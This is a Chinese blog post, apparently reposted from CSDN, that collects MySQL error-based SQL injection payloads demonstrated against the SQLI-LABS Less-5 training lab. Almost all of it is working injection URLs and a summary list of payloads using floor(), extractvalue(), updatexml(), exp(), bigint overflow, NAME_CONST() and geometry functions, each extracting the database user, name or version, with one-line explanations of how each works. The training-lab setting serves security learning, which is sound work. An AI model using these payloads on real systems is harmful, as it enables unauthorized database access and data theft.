SQL注入之报错注入的一些随笔

0x00.序言

关于报错注入的话虽然我在我之前的文章里面写了一些,但是sql注入的姿势实在是太多了。之前写过的payload不全也不系统。今天抽出时间来总结一下。

ps:关于报错注入的原理和使用的基本函数我在我之前的文章《SQLI-LABS修炼笔记(二)》中已经详细说过了,如果不懂可以去看看。

ps的ps:这里以SQLI-LABS的LESS-5为例题作为示范。

0x01.floor()报错注入

http://43.247.91.228:84/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

0x02.extractvalue()报错注入

原理:xpath 函数报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

0x03.updatexml()报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

0x04.exp()报错注入

原理:利用double 数值类型超出范围进行报错注入

http://43.247.91.228:84/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

0x05.利用!来溢出报错注入

原理:利用bigint 溢出进行报错注入

http://43.247.91.228:84/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

0x06.NAME_CONST()

原理:利用数据的重复性。

http://43.247.91.228:84/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

0x07.总结

  1. floor()

    and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

    information_schema.tables group by x)a)

  2. updatexml()

    and 1=(updatexml(1,concat(0x3a,(select user())),1))

  3. extractvalue()

    and extractvalue(1,concat(0x5c,(select user())))

  4. exp()

    and exp(~(select * from(select user())a))

  5. multipoint()

    and multipoint((select * from(select * from(select user())a)b))

  6. geometrycollection()

    and geometrycollection((select * from(select * from(select user())a)b))

  7. polygon()

    and polygon((select * from(select * from(select user())a)b))

  8. multipolygon()

    and multipolygon((select * from(select * from(select user())a)b))

  9. linestring()

    and linestring((select * from(select * from(select user())a)b))

  10. multilinestring()

    and multilinestring((select * from(select * from(select user())a)b))

参考链接:

1.《mysql注入天书》

2.《MySQL暴错注入方法整理》

3.《代码审计:企业级Web代码安全架构》

 

猜你喜欢

转载自blog.csdn.net/like98k/article/details/79646512